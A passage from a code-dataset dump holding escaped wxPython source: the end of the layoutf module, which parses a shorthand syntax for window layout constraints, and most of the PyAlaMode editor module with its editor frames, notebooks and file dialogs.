(always?) need four directives to completely describe a\nsubwindow's location.\n\n A single directive has either of the following forms:\n\n 1. <own attribute><compare operation>[numerical argument]\n for example r!100 -> lc.right.Absolute(100) )\n and w* -> lc.width.AsIs()\n\n 2. <own attribute><compare operation>[numerical argument]\n #<compare object nr.>\n for example t_10#2 (lc.top.Below(<second obj>, 10)\n\n 3. <own attribute><compare operation><compare attribute>\n [numerical argument]#<compare object nr.>\n for example w%h50#2 ( lc.width.PercentOf(<second obj>,\n wxHeight, 50) and t=b#1 ( lc.top.SameAs(<first obj>,\n wxBottom) )\n\n Which one you need is defined by the <compare operation>\ntype. The following take type 1 (no object to compare with):\n\n '!': 'Absolute', '?': 'Unconstrained', '*': 'AsIs'\n\nThese take type 2 (need to be compared with another object)\n\n '<': 'LeftOf', '>': 'RightOf', '^': 'Above', '_': 'Below'\n\nThese take type 3 (need to be compared to another object\nattribute)\n\n '=': 'SameAs', '%': 'PercentOf'\n\nFor all types, the <own attribute> letter can be any of\n\n 't': 'top', 'l': 'left', 'b': 'bottom',\n 'r': 'right', 'h': 'height', 'w': 'width',\n 'x': 'centreX', 'y': 'centreY'\n\nIf the operation takes an (optional) numerical argument, place it\nin [numerical argument]. For type 3 directives, the <compare\nattribute> letter can be any of\n\n 't': 'wxTop', 'l': 'wxLeft', 'b': 'wxBottom'\n 'r': 'wxRight', 'h': 'wxHeight', 'w': 'wxWidth',\n 'x': 'wxCentreX', 'y': 'wxCentreY'\n\nNote that these are the same letters as used for <own attribute>,\nso you'll only need to remember one set. Finally, the object\nwhose attribute is refered to, is specified by #<compare object\nnr>, where <compare object nr> is the 1-based (stupid, I know,\nbut I've gotten used to it) index of the object in the\nobjects_tuple argument.\n\nBugs:\n\nNot entirely happy about the logic in the order of arguments\nafter the <compare operation> character.\n\nNot all wxLayoutConstraint methods are included in the\nsyntax. However, the type 3 directives are generally the most\nused. Further excuse: wxWindows layout constraints are at the\ntime of this writing not documented.\n\n\"\"\"\n\n attr_d = { 't': 'top', 'l': 'left', 'b': 'bottom',\n 'r': 'right', 'h': 'height', 'w': 'width',\n 'x': 'centreX', 'y': 'centreY' }\n op_d = { '=': 'SameAs', '%': 'PercentOf', '<': 'LeftOf',\n '>': 'RightOf', '^': 'Above', '_': 'Below',\n '!': 'Absolute', '?': 'Unconstrained', '*': 'AsIs' }\n cmp_d = { 't': 'wx.Top', 'l': 'wx.Left', 'b': 'wx.Bottom',\n 'r': 'wx.Right', 'h': 'wx.Height', 'w': 'wx.Width',\n 'x': 'wx.CentreX', 'y': 'wx.CentreY' }\n\n rexp1 = re.compile('^\\s*([tlrbhwxy])\\s*([!\\?\\*])\\s*(\\d*)\\s*$')\n rexp2 = re.compile('^\\s*([tlrbhwxy])\\s*([=%<>^_])\\s*([tlrbhwxy]?)\\s*(\\d*)\\s*#(\\d+)\\s*$')\n\n def __init__(self,pstr=None,winlist=None):\n wx.LayoutConstraints.__init__(self)\n if pstr:\n self.pack(pstr,winlist)\n\n def pack(self, pstr, winlist):\n pstr = pstr.lower()\n for item in pstr.split(';'):\n m = self.rexp1.match(item)\n if m:\n g = list(m.groups())\n attr = getattr(self, self.attr_d[g[0]])\n func = getattr(attr, self.op_d[g[1]])\n if g[1] == '!':\n func(int(g[2]))\n else:\n func()\n continue\n m = self.rexp2.match(item)\n if not m: raise ValueError\n g = list(m.groups())\n attr = getattr(self, self.attr_d[g[0]])\n func = getattr(attr, self.op_d[g[1]])\n if g[3]: g[3] = int(g[3])\n else: g[3] = None;\n g[4] = int(g[4]) - 1\n if g[1] in '<>^_':\n if g[3]: func(winlist[g[4]], g[3])\n else: func(winlist[g[4]])\n else:\n cmp = eval(self.cmp_d[g[2]])\n if g[3]: func(winlist[g[4]], cmp, g[3])\n else: func(winlist[g[4]], cmp)\n\n def debug_pack(self, pstr, winlist):\n pstr = pstr.lower()\n for item in pstr.split(';'):\n m = self.rexp1.match(item)\n if m:\n g = list(m.groups())\n attr = getattr(self, self.attr_d[g[0]])\n func = getattr(attr, self.op_d[g[1]])\n if g[1] == '!':\n print \"%s.%s.%s(%s)\" % \\\n ('self',self.attr_d[g[0]],self.op_d[g[1]],g[2])\n else:\n print \"%s.%s.%s()\" % \\\n ('self',self.attr_d[g[0]],self.op_d[g[1]])\n continue\n m = self.rexp2.match(item)\n if not m: raise ValueError\n g = list(m.groups())\n if g[3]: g[3] = int(g[3])\n else: g[3] = 0;\n g[4] = int(g[4]) - 1\n if g[1] in '<>^_':\n if g[3]: print \"%s.%s.%s(%s,%d)\" % \\\n ('self',self.attr_d[g[0]],self.op_d[g[1]],winlist[g[4]],\n g[3])\n else: print \"%s.%s.%s(%s)\" % \\\n ('self',self.attr_d[g[0]],self.op_d[g[1]],winlist[g[4]])\n else:\n if g[3]: print \"%s.%s.%s(%s,%s,%d)\" % \\\n ('self',self.attr_d[g[0]],self.op_d[g[1]],winlist[g[4]],\n self.cmp_d[g[2]],g[3])\n else: print \"%s.%s.%s(%s,%s)\" % \\\n ('self',self.attr_d[g[0]],self.op_d[g[1]],winlist[g[4]],\n self.cmp_d[g[2]])\n\nif __name__=='__main__':\n\n class TestLayoutf(wx.Frame):\n def __init__(self, parent):\n wx.Frame.__init__(self, parent, -1, 'Test Layout Constraints',\n wx.DefaultPosition, (500, 300))\n self.Bind(wx.EVT_CLOSE, self.OnCloseWindow)\n\n self.SetAutoLayout(True)\n\n self.panelA = wx.Window(self, -1, style=wx.SIMPLE_BORDER)\n self.panelA.SetBackgroundColour(wx.BLUE)\n self.panelA.SetConstraints(Layoutf('t=t10#1;l=l10#1;b=b10#1;r%r50#1',(self,)))\n\n self.panelB = wx.Window(self, -1, style=wx.SIMPLE_BORDER)\n self.panelB.SetBackgroundColour(wx.RED)\n self.panelB.SetConstraints(Layoutf('t=t10#1;r=r10#1;b%b30#1;l>10#2', (self,self.panelA)))\n\n self.panelC = wx.Window(self, -1, style=wx.SIMPLE_BORDER)\n self.panelC.SetBackgroundColour(wx.WHITE)\n self.panelC.SetConstraints(Layoutf('t_10#3;r=r10#1;b=b10#1;l>10#2', (self,self.panelA,self.panelB)))\n\n b = wx.Button(self.panelA, -1, ' About: ')\n b.SetConstraints(Layoutf('X=X#1;Y=Y#1;h*;w%w50#1', (self.panelA,)))\n self.Bind(wx.EVT_BUTTON, self.OnAbout, b)\n\n b = wx.Button(self.panelB, 100, ' Panel B ')\n b.SetConstraints(Layoutf('t=t2#1;r=r4#1;h*;w*', (self.panelB,)))\n\n self.panelD = wx.Window(self.panelC, -1, style=wx.SIMPLE_BORDER)\n self.panelD.SetBackgroundColour(wx.GREEN)\n self.panelD.SetConstraints(Layoutf('b%h50#1;r%w50#1;h=h#2;w=w#2', (self.panelC, b)))\n\n b = wx.Button(self.panelC, -1, ' Panel C ')\n b.SetConstraints(Layoutf('t_#1;l>#1;h*;w*', (self.panelD,)))\n self.Bind(wx.EVT_BUTTON, self.OnButton, b)\n\n wx.StaticText(self.panelD, -1, \"Panel D\", (4, 4)).SetBackgroundColour(wx.GREEN)\n\n def OnButton(self, event):\n self.Close(True)\n\n def OnAbout(self, event):\n import wx.lib.dialogs\n msg = wx.lib.dialogs.ScrolledMessageDialog(self, Layoutf.__doc__, \"about\")\n msg.ShowModal()\n msg.Destroy()\n\n def OnCloseWindow(self, event):\n self.Destroy()\n\n class TestApp(wx.App):\n def OnInit(self):\n frame = TestLayoutf(None)\n frame.Show(1)\n self.SetTopWindow(frame)\n return 1\n\n app = TestApp(0)\n app.MainLoop()\n\n\n\n\n\n", "id": "7545692", "language": "Python", "matching_score": 1.9567099809646606, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/layoutf.py" }, { "content": "\"\"\"PyAlaCarte and PyAlaMode editors.\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__cvsid__ = \"$Id: editor.py 63478 2010-02-13 22:59:44Z RD $\"\n__revision__ = \"$Revision: 63478 $\"[11:-2]\n\nimport wx\n\nfrom buffer import Buffer\nimport crust\nimport dispatcher\nimport editwindow\nimport frame\nfrom shell import Shell\nimport version\n\n\nclass EditorFrame(frame.Frame):\n \"\"\"Frame containing one editor.\"\"\"\n\n def __init__(self, parent=None, id=-1, title='PyAlaCarte',\n pos=wx.DefaultPosition, size=(800, 600), \n style=wx.DEFAULT_FRAME_STYLE | wx.NO_FULL_REPAINT_ON_RESIZE,\n filename=None):\n \"\"\"Create EditorFrame instance.\"\"\"\n frame.Frame.__init__(self, parent, id, title, pos, size, style)\n self.buffers = {}\n self.buffer = None # Current buffer.\n self.editor = None\n self._defaultText = title + ' - the tastiest Python editor.'\n self._statusText = self._defaultText\n self.SetStatusText(self._statusText)\n self.Bind(wx.EVT_IDLE, self.OnIdle)\n self._setup()\n if filename:\n self.bufferCreate(filename)\n\n def _setup(self):\n \"\"\"Setup prior to first buffer creation.\n\n Useful for subclasses.\"\"\"\n pass\n\n def setEditor(self, editor):\n self.editor = editor\n self.buffer = self.editor.buffer\n self.buffers[self.buffer.id] = self.buffer\n\n def OnAbout(self, event):\n \"\"\"Display an About window.\"\"\"\n title = 'About PyAlaCarte'\n text = 'Another fine, flaky program.'\n dialog = wx.MessageDialog(self, text, title,\n wx.OK | wx.ICON_INFORMATION)\n dialog.ShowModal()\n dialog.Destroy()\n\n def OnClose(self, event):\n \"\"\"Event handler for closing.\"\"\"\n for buffer in self.buffers.values():\n self.buffer = buffer\n if buffer.hasChanged():\n cancel = self.bufferSuggestSave()\n if cancel and event.CanVeto():\n event.Veto()\n return\n self.Destroy()\n\n def OnIdle(self, event):\n \"\"\"Event handler for idle time.\"\"\"\n self._updateStatus()\n if hasattr(self, 'notebook'):\n self._updateTabText()\n self._updateTitle()\n event.Skip()\n\n def _updateStatus(self):\n \"\"\"Show current status information.\"\"\"\n if self.editor and hasattr(self.editor, 'getStatus'):\n status = self.editor.getStatus()\n text = 'File: %s | Line: %d | Column: %d' % status\n else:\n text = self._defaultText\n if text != self._statusText:\n self.SetStatusText(text)\n self._statusText = text\n\n def _updateTabText(self):\n \"\"\"Show current buffer information on notebook tab.\"\"\"\n## suffix = ' **'\n## notebook = self.notebook\n## selection = notebook.GetSelection()\n## if selection == -1:\n## return\n## text = notebook.GetPageText(selection)\n## window = notebook.GetPage(selection)\n## if window.editor and window.editor.buffer.hasChanged():\n## if text.endswith(suffix):\n## pass\n## else:\n## notebook.SetPageText(selection, text + suffix)\n## else:\n## if text.endswith(suffix):\n## notebook.SetPageText(selection, text[:len(suffix)])\n\n def _updateTitle(self):\n \"\"\"Show current title information.\"\"\"\n title = self.GetTitle()\n if self.bufferHasChanged():\n if title.startswith('* '):\n pass\n else:\n self.SetTitle('* ' + title)\n else:\n if title.startswith('* '):\n self.SetTitle(title[2:])\n \n def hasBuffer(self):\n \"\"\"Return True if there is a current buffer.\"\"\"\n if self.buffer:\n return True\n else:\n return False\n\n def bufferClose(self):\n \"\"\"Close buffer.\"\"\"\n if self.bufferHasChanged():\n cancel = self.bufferSuggestSave()\n if cancel:\n return cancel\n self.bufferDestroy()\n cancel = False\n return cancel\n\n def bufferCreate(self, filename=None):\n \"\"\"Create new buffer.\"\"\"\n self.bufferDestroy()\n buffer = Buffer()\n self.panel = panel = wx.Panel(parent=self, id=-1)\n panel.Bind (wx.EVT_ERASE_BACKGROUND, lambda x: x) \n editor = Editor(parent=panel)\n panel.editor = editor\n sizer = wx.BoxSizer(wx.VERTICAL)\n sizer.Add(editor.window, 1, wx.EXPAND)\n panel.SetSizer(sizer)\n panel.SetAutoLayout(True)\n sizer.Layout()\n buffer.addEditor(editor)\n buffer.open(filename)\n self.setEditor(editor)\n self.editor.setFocus()\n self.SendSizeEvent()\n \n\n def bufferDestroy(self):\n \"\"\"Destroy the current buffer.\"\"\"\n if self.buffer:\n for editor in self.buffer.editors.values():\n editor.destroy()\n self.editor = None\n del self.buffers[self.buffer.id]\n self.buffer = None\n self.panel.Destroy()\n\n\n def bufferHasChanged(self):\n \"\"\"Return True if buffer has changed since last save.\"\"\"\n if self.buffer:\n return self.buffer.hasChanged()\n else:\n return False\n\n def bufferNew(self):\n \"\"\"Create new buffer.\"\"\"\n if self.bufferHasChanged():\n cancel = self.bufferSuggestSave()\n if cancel:\n return cancel\n self.bufferCreate()\n cancel = False\n return cancel\n\n def bufferOpen(self):\n \"\"\"Open file in buffer.\"\"\"\n if self.bufferHasChanged():\n cancel = self.bufferSuggestSave()\n if cancel:\n return cancel\n filedir = ''\n if self.buffer and self.buffer.doc.filedir:\n filedir = self.buffer.doc.filedir\n result = openSingle(directory=filedir)\n if result.path:\n self.bufferCreate(result.path)\n cancel = False\n return cancel\n\n## def bufferPrint(self):\n## \"\"\"Print buffer.\"\"\"\n## pass\n\n## def bufferRevert(self):\n## \"\"\"Revert buffer to version of file on disk.\"\"\"\n## pass\n\n def bufferSave(self):\n \"\"\"Save buffer to its file.\"\"\"\n if self.buffer.doc.filepath:\n self.buffer.save()\n cancel = False\n else:\n cancel = self.bufferSaveAs()\n return cancel\n\n def bufferSaveAs(self):\n \"\"\"Save buffer to a new filename.\"\"\"\n if self.bufferHasChanged() and self.buffer.doc.filepath:\n cancel = self.bufferSuggestSave()\n if cancel:\n return cancel\n filedir = ''\n if self.buffer and self.buffer.doc.filedir:\n filedir = self.buffer.doc.filedir\n result = saveSingle(directory=filedir)\n if result.path:\n self.buffer.saveAs(result.path)\n cancel = False\n else:\n cancel = True\n return cancel\n\n def bufferSuggestSave(self):\n \"\"\"Suggest saving changes. Return True if user selected Cancel.\"\"\"\n result = messageDialog(parent=None,\n message='%s has changed.\\n'\n 'Would you like to save it first'\n '?' % self.buffer.name,\n title='Save current file?')\n if result.positive:\n cancel = self.bufferSave()\n else:\n cancel = result.text == 'Cancel'\n return cancel\n\n def updateNamespace(self):\n \"\"\"Update the buffer namespace for autocompletion and calltips.\"\"\"\n if self.buffer.updateNamespace():\n self.SetStatusText('Namespace updated')\n else:\n self.SetStatusText('Error executing, unable to update namespace')\n\n\nclass EditorNotebookFrame(EditorFrame):\n \"\"\"Frame containing one or more editors in a notebook.\"\"\"\n\n def __init__(self, parent=None, id=-1, title='PyAlaMode',\n pos=wx.DefaultPosition, size=(800, 600), \n style=wx.DEFAULT_FRAME_STYLE | wx.NO_FULL_REPAINT_ON_RESIZE,\n filename=None):\n \"\"\"Create EditorNotebookFrame instance.\"\"\"\n self.notebook = None\n EditorFrame.__init__(self, parent, id, title, pos,\n size, style, filename)\n if self.notebook:\n dispatcher.connect(receiver=self._editorChange,\n signal='EditorChange', sender=self.notebook)\n\n def _setup(self):\n \"\"\"Setup prior to first buffer creation.\n\n Called automatically by base class during init.\"\"\"\n self.notebook = EditorNotebook(parent=self)\n intro = 'Py %s' % version.VERSION\n import imp\n module = imp.new_module('__main__')\n import __builtin__\n module.__dict__['__builtins__'] = __builtin__\n namespace = module.__dict__.copy()\n self.crust = crust.Crust(parent=self.notebook, intro=intro, locals=namespace)\n self.shell = self.crust.shell\n # Override the filling so that status messages go to the status bar.\n self.crust.filling.tree.setStatusText = self.SetStatusText\n # Override the shell so that status messages go to the status bar.\n self.shell.setStatusText = self.SetStatusText\n # Fix a problem with the sash shrinking to nothing.\n self.crust.filling.SetSashPosition(200)\n self.notebook.AddPage(page=self.crust, text='*Shell*', select=True)\n self.setEditor(self.crust.editor)\n self.crust.editor.SetFocus()\n\n def _editorChange(self, editor):\n \"\"\"Editor change signal receiver.\"\"\"\n self.setEditor(editor)\n\n def OnAbout(self, event):\n \"\"\"Display an About window.\"\"\"\n title = 'About PyAlaMode'\n text = 'Another fine, flaky program.'\n dialog = wx.MessageDialog(self, text, title,\n wx.OK | wx.ICON_INFORMATION)\n dialog.ShowModal()\n dialog.Destroy()\n\n def _updateTitle(self):\n \"\"\"Show current title information.\"\"\"\n pass\n## title = self.GetTitle()\n## if self.bufferHasChanged():\n## if title.startswith('* '):\n## pass\n## else:\n## self.SetTitle('* ' + title)\n## else:\n## if title.startswith('* '):\n## self.SetTitle(title[2:])\n \n def bufferCreate(self, filename=None):\n \"\"\"Create new buffer.\"\"\"\n buffer = Buffer()\n panel = wx.Panel(parent=self.notebook, id=-1)\n panel.Bind(wx.EVT_ERASE_BACKGROUND, lambda x: x) \n editor = Editor(parent=panel)\n panel.editor = editor\n sizer = wx.BoxSizer(wx.VERTICAL)\n sizer.Add(editor.window, 1, wx.EXPAND)\n panel.SetSizer(sizer)\n panel.SetAutoLayout(True)\n sizer.Layout()\n buffer.addEditor(editor)\n buffer.open(filename)\n self.setEditor(editor)\n self.notebook.AddPage(page=panel, text=self.buffer.name, select=True)\n self.editor.setFocus()\n\n def bufferDestroy(self):\n \"\"\"Destroy the current buffer.\"\"\"\n selection = self.notebook.GetSelection()\n## print \"Destroy Selection:\", selection\n if selection > 0: # Don't destroy the PyCrust tab.\n if self.buffer:\n del self.buffers[self.buffer.id]\n self.buffer = None # Do this before DeletePage().\n self.notebook.DeletePage(selection)\n\n def bufferNew(self):\n \"\"\"Create new buffer.\"\"\"\n self.bufferCreate()\n cancel = False\n return cancel\n\n def bufferOpen(self):\n \"\"\"Open file in buffer.\"\"\"\n filedir = ''\n if self.buffer and self.buffer.doc.filedir:\n filedir = self.buffer.doc.filedir\n result = openMultiple(directory=filedir)\n for path in result.paths:\n self.bufferCreate(path)\n cancel = False\n return cancel\n\n\nclass EditorNotebook(wx.Notebook):\n \"\"\"A notebook containing a page for each editor.\"\"\"\n\n def __init__(self, parent):\n \"\"\"Create EditorNotebook instance.\"\"\"\n wx.Notebook.__init__(self, parent, id=-1, style=wx.CLIP_CHILDREN)\n self.Bind(wx.EVT_NOTEBOOK_PAGE_CHANGING, self.OnPageChanging, id=self.GetId())\n self.Bind(wx.EVT_NOTEBOOK_PAGE_CHANGED, self.OnPageChanged, id=self.GetId())\n self.Bind(wx.EVT_IDLE, self.OnIdle)\n\n def OnIdle(self, event):\n \"\"\"Event handler for idle time.\"\"\"\n self._updateTabText()\n event.Skip()\n\n def _updateTabText(self):\n \"\"\"Show current buffer display name on all but first tab.\"\"\"\n size = 3\n changed = ' **'\n unchanged = ' --'\n selection = self.GetSelection()\n if selection < 1:\n return\n text = self.GetPageText(selection)\n window = self.GetPage(selection)\n if not window.editor:\n return\n if text.endswith(changed) or text.endswith(unchanged):\n name = text[:-size]\n else:\n name = text\n if name != window.editor.buffer.name:\n text = window.editor.buffer.name\n if window.editor.buffer.hasChanged():\n if text.endswith(changed):\n text = None\n elif text.endswith(unchanged):\n text = text[:-size] + changed\n else:\n text += changed\n else:\n if text.endswith(changed):\n text = text[:-size] + unchanged\n elif text.endswith(unchanged):\n text = None\n else:\n text += unchanged\n if text is not None:\n self.SetPageText(selection, text)\n self.Refresh() # Needed on Win98.\n\n def OnPageChanging(self, event):\n \"\"\"Page changing event handler.\"\"\"\n event.Skip()\n\n def OnPageChanged(self, event):\n \"\"\"Page changed event handler.\"\"\"\n new = event.GetSelection()\n window = self.GetPage(new)\n dispatcher.send(signal='EditorChange', sender=self,\n editor=window.editor)\n window.SetFocus()\n event.Skip()\n\n\nclass EditorShellNotebookFrame(EditorNotebookFrame):\n \"\"\"Frame containing a notebook containing EditorShellNotebooks.\"\"\"\n\n def __init__(self, parent=None, id=-1, title='PyAlaModeTest',\n pos=wx.DefaultPosition, size=(600, 400), \n style=wx.DEFAULT_FRAME_STYLE,\n filename=None, singlefile=False):\n \"\"\"Create EditorShellNotebookFrame instance.\"\"\"\n self._singlefile = singlefile\n EditorNotebookFrame.__init__(self, parent, id, title, pos,\n size, style, filename)\n\n def _setup(self):\n \"\"\"Setup prior to first buffer creation.\n\n Called automatically by base class during init.\"\"\"\n if not self._singlefile:\n self.notebook = EditorNotebook(parent=self)\n\n def OnAbout(self, event):\n \"\"\"Display an About window.\"\"\"\n title = 'About PyAlaModePlus'\n text = 'Another fine, flaky program.'\n dialog = wx.MessageDialog(self, text, title,\n wx.OK | wx.ICON_INFORMATION)\n dialog.ShowModal()\n dialog.Destroy()\n\n def bufferCreate(self, filename=None):\n \"\"\"Create new buffer.\"\"\"\n if self._singlefile:\n self.bufferDestroy()\n notebook = EditorShellNotebook(parent=self,\n filename=filename)\n self.notebook = notebook\n else:\n notebook = EditorShellNotebook(parent=self.notebook,\n filename=filename)\n self.setEditor(notebook.editor)\n if not self._singlefile:\n self.notebook.AddPage(page=notebook, text=self.buffer.name,\n select=True)\n self.editor.setFocus()\n\n def bufferDestroy(self):\n \"\"\"Destroy the current buffer.\"\"\"\n if self.buffer:\n self.editor = None\n del self.buffers[self.buffer.id]\n self.buffer = None # Do this before DeletePage().\n if self._singlefile:\n self.notebook.Destroy()\n self.notebook = None\n else:\n selection = self.notebook.GetSelection()\n## print \"Destroy Selection:\", selection\n self.notebook.DeletePage(selection)\n\n def bufferNew(self):\n \"\"\"Create new buffer.\"\"\"\n if self._singlefile and self.bufferHasChanged():\n cancel = self.bufferSuggestSave()\n if cancel:\n return cancel\n self.bufferCreate()\n cancel = False\n return cancel\n\n def bufferOpen(self):\n \"\"\"Open file in buffer.\"\"\"\n if self._singlefile and self.bufferHasChanged():\n cancel = self.bufferSuggestSave()\n if cancel:\n return cancel\n filedir = ''\n if self.buffer and self.buffer.doc.filedir:\n filedir = self.buffer.doc.filedir\n if self._singlefile:\n result = openSingle(directory=filedir)\n if result.path:\n self.bufferCreate(result.path)\n else:\n result = openMultiple(directory=filedir)\n for path in result.paths:\n self.bufferCreate(path)\n cancel = False\n return cancel\n\n\nclass EditorShellNotebook(wx.Notebook):\n \"\"\"A notebook containing an editor page and a shell page.\"\"\"\n\n def __init__(self, parent, filename=None):\n \"\"\"Create EditorShellNotebook instance.\"\"\"\n wx.Notebook.__init__(self, parent, id=-1)\n usePanels = True\n if usePanels:\n editorparent = editorpanel = wx.Panel(self, -1)\n shellparent = shellpanel = wx.Panel(self, -1)\n else:\n editorparent = self\n shellparent = self\n self.buffer = Buffer()\n self.editor = Editor(parent=editorparent)\n self.buffer.addEditor(self.editor)\n self.buffer.open(filename)\n self.shell = Shell(parent=shellparent, locals=self.buffer.interp.locals,\n style=wx.CLIP_CHILDREN | wx.SUNKEN_BORDER)\n self.buffer.interp.locals.clear()\n if usePanels:\n self.AddPage(page=editorpanel, text='Editor', select=True)\n self.AddPage(page=shellpanel, text='Shell')\n # Setup sizers\n editorsizer = wx.BoxSizer(wx.VERTICAL)\n editorsizer.Add(self.editor.window, 1, wx.EXPAND)\n editorpanel.SetSizer(editorsizer)\n editorpanel.SetAutoLayout(True)\n shellsizer = wx.BoxSizer(wx.VERTICAL)\n shellsizer.Add(self.shell, 1, wx.EXPAND)\n shellpanel.SetSizer(shellsizer)\n shellpanel.SetAutoLayout(True)\n else:\n self.AddPage(page=self.editor.window, text='Editor', select=True)\n self.AddPage(page=self.shell, text='Shell')\n self.editor.setFocus()\n self.Bind(wx.EVT_NOTEBOOK_PAGE_CHANGED, self.OnPageChanged, id=self.GetId())\n\n def OnPageChanged(self, event):\n \"\"\"Page changed event handler.\"\"\"\n selection = event.GetSelection()\n if selection == 0:\n self.editor.setFocus()\n else:\n self.shell.SetFocus()\n event.Skip()\n\n def SetFocus(self):\n wx.Notebook.SetFocus(self)\n selection = self.GetSelection()\n if selection == 0:\n self.editor.setFocus()\n else:\n self.shell.SetFocus()\n\n\nclass Editor:\n \"\"\"Editor having an EditWindow.\"\"\"\n\n def __init__(self, parent, id=-1, pos=wx.DefaultPosition,\n size=wx.DefaultSize,\n style=wx.CLIP_CHILDREN | wx.SUNKEN_BORDER):\n \"\"\"Create Editor instance.\"\"\"\n self.window = EditWindow(self, parent, id, pos, size, style)\n self.id = self.window.GetId()\n self.buffer = None\n # Assign handlers for keyboard events.\n self.window.Bind(wx.EVT_CHAR, self.OnChar)\n self.window.Bind(wx.EVT_KEY_DOWN, self.OnKeyDown)\n\n def _setBuffer(self, buffer, text):\n \"\"\"Set the editor to a buffer. Private callback called by buffer.\"\"\"\n self.buffer = buffer\n self.autoCompleteKeys = buffer.interp.getAutoCompleteKeys()\n self.clearAll()\n self.setText(text)\n self.emptyUndoBuffer()\n self.setSavePoint()\n\n def destroy(self):\n \"\"\"Destroy all editor objects.\"\"\"\n self.window.Destroy()\n\n def clearAll(self):\n self.window.ClearAll()\n\n def emptyUndoBuffer(self):\n self.window.EmptyUndoBuffer()\n\n def getStatus(self):\n \"\"\"Return (filepath, line, column) status tuple.\"\"\"\n if self.window:\n pos = self.window.GetCurrentPos()\n line = self.window.LineFromPosition(pos) + 1\n col = self.window.GetColumn(pos)\n if self.buffer:\n name = self.buffer.doc.filepath or self.buffer.name\n else:\n name = ''\n status = (name, line, col)\n return status\n else:\n return ('', 0, 0)\n\n def getText(self):\n \"\"\"Return contents of editor.\"\"\"\n return self.window.GetText()\n\n def hasChanged(self):\n \"\"\"Return True if contents have changed.\"\"\"\n return self.window.GetModify()\n\n def setFocus(self):\n \"\"\"Set the input focus to the editor window.\"\"\"\n self.window.SetFocus()\n\n def setSavePoint(self):\n self.window.SetSavePoint()\n\n def setText(self, text):\n \"\"\"Set contents of editor.\"\"\"\n self.window.SetText(text)\n\n def OnChar(self, event):\n \"\"\"Keypress event handler.\n \n Only receives an event if OnKeyDown calls event.Skip() for the\n corresponding event.\"\"\"\n\n key = event.GetKeyCode()\n if key in self.autoCompleteKeys:\n # Usually the dot (period) key activates auto completion.\n if self.window.AutoCompActive(): \n self.window.AutoCompCancel()\n self.window.ReplaceSelection('')\n self.window.AddText(chr(key))\n text, pos = self.window.GetCurLine()\n text = text[:pos]\n if self.window.autoComplete: \n self.autoCompleteShow(text)\n elif key == ord('('):\n # The left paren activates a call tip and cancels an\n # active auto completion.\n if self.window.AutoCompActive(): \n self.window.AutoCompCancel()\n self.window.ReplaceSelection('')\n self.window.AddText('(')\n text, pos = self.window.GetCurLine()\n text = text[:pos]\n self.autoCallTipShow(text)\n else:\n # Allow the normal event handling to take place.\n event.Skip()\n\n def OnKeyDown(self, event):\n \"\"\"Key down event handler.\"\"\"\n\n key = event.GetKeyCode()\n # If the auto-complete window is up let it do its thing.\n if self.window.AutoCompActive():\n event.Skip()\n return\n controlDown = event.ControlDown()\n altDown = event.AltDown()\n shiftDown = event.ShiftDown()\n # Let Ctrl-Alt-* get handled normally.\n if controlDown and altDown:\n event.Skip()\n # Increase font size.\n elif controlDown and key in (ord(']'),):\n dispatcher.send(signal='FontIncrease')\n # Decrease font size.\n elif controlDown and key in (ord('['),):\n dispatcher.send(signal='FontDecrease')\n # Default font size.\n elif controlDown and key in (ord('='),):\n dispatcher.send(signal='FontDefault')\n else:\n event.Skip()\n\n def autoCompleteShow(self, command):\n \"\"\"Display auto-completion popup list.\"\"\"\n list = self.buffer.interp.getAutoCompleteList(command, \n includeMagic=self.window.autoCompleteIncludeMagic, \n includeSingle=self.window.autoCompleteIncludeSingle, \n includeDouble=self.window.autoCompleteIncludeDouble)\n if list:\n options = ' '.join(list)\n offset = 0\n self.window.AutoCompShow(offset, options)\n\n def autoCallTipShow(self, command):\n \"\"\"Display argument spec and docstring in a popup window.\"\"\"\n if self.window.CallTipActive():\n self.window.CallTipCancel()\n (name, argspec, tip) = self.buffer.interp.getCallTip(command)\n if tip:\n dispatcher.send(signal='Shell.calltip', sender=self, calltip=tip)\n if not self.window.autoCallTip:\n return\n startpos = self.window.GetCurrentPos()\n if argspec:\n self.window.AddText(argspec + ')')\n endpos = self.window.GetCurrentPos()\n self.window.SetSelection(startpos, endpos)\n if tip:\n tippos = startpos - (len(name) + 1)\n fallback = startpos - self.GetColumn(startpos)\n # In case there isn't enough room, only go back to the\n # fallback.\n tippos = max(tippos, fallback)\n self.CallTipShow(tippos, tip)\n\n\nclass EditWindow(editwindow.EditWindow):\n \"\"\"EditWindow based on StyledTextCtrl.\"\"\"\n\n def __init__(self, editor, parent, id=-1, pos=wx.DefaultPosition,\n size=wx.DefaultSize,\n style=wx.CLIP_CHILDREN | wx.SUNKEN_BORDER):\n \"\"\"Create EditWindow instance.\"\"\"\n editwindow.EditWindow.__init__(self, parent, id, pos, size, style)\n self.editor = editor\n\n\nclass DialogResults:\n \"\"\"DialogResults class.\"\"\"\n\n def __init__(self, returned):\n \"\"\"Create wrapper for results returned by dialog.\"\"\"\n self.returned = returned\n self.positive = returned in (wx.ID_OK, wx.ID_YES)\n self.text = self._asString()\n \n\n def __repr__(self):\n return str(self.__dict__)\n\n def _asString(self):\n returned = self.returned\n if returned == wx.ID_OK:\n return \"Ok\"\n elif returned == wx.ID_CANCEL:\n return \"Cancel\"\n elif returned == wx.ID_YES:\n return \"Yes\"\n elif returned == wx.ID_NO:\n return \"No\"\n\n\ndef fileDialog(parent=None, title='Open', directory='', filename='',\n wildcard='All Files (*.*)|*.*',\n style=wx.OPEN | wx.MULTIPLE):\n \"\"\"File dialog wrapper function.\"\"\"\n dialog = wx.FileDialog(parent, title, directory, filename,\n wildcard, style)\n result = DialogResults(dialog.ShowModal())\n if result.positive:\n result.paths = dialog.GetPaths()\n else:\n result.paths = []\n dialog.Destroy()\n return result\n\n\ndef openSingle(parent=None, title='Open', directory='', filename='',\n wildcard='All Files (*.*)|*.*', style=wx.OPEN):\n \"\"\"File dialog wrapper function.\"\"\"\n dialog = wx.FileDialog(parent, title, directory, filename,\n wildcard, style)\n result = DialogResults(dialog.ShowModal())\n if result.positive:\n result.path = dialog.GetPath()\n else:\n result.path = None\n dialog.Destroy()\n return result\n\n\ndef openMultiple(parent=None, title='Open', directory='', filename='',\n wildcard='All Files (*.*)|*.*',\n style=wx.OPEN | wx.MULTIPLE):\n \"\"\"File dialog wrapper function.\"\"\"\n return fileDialog(parent, title, directory, filename, wildcard, style)\n\n\ndef saveSingle(parent=None, title='Save', directory='', filename='',\n wildcard='All Files 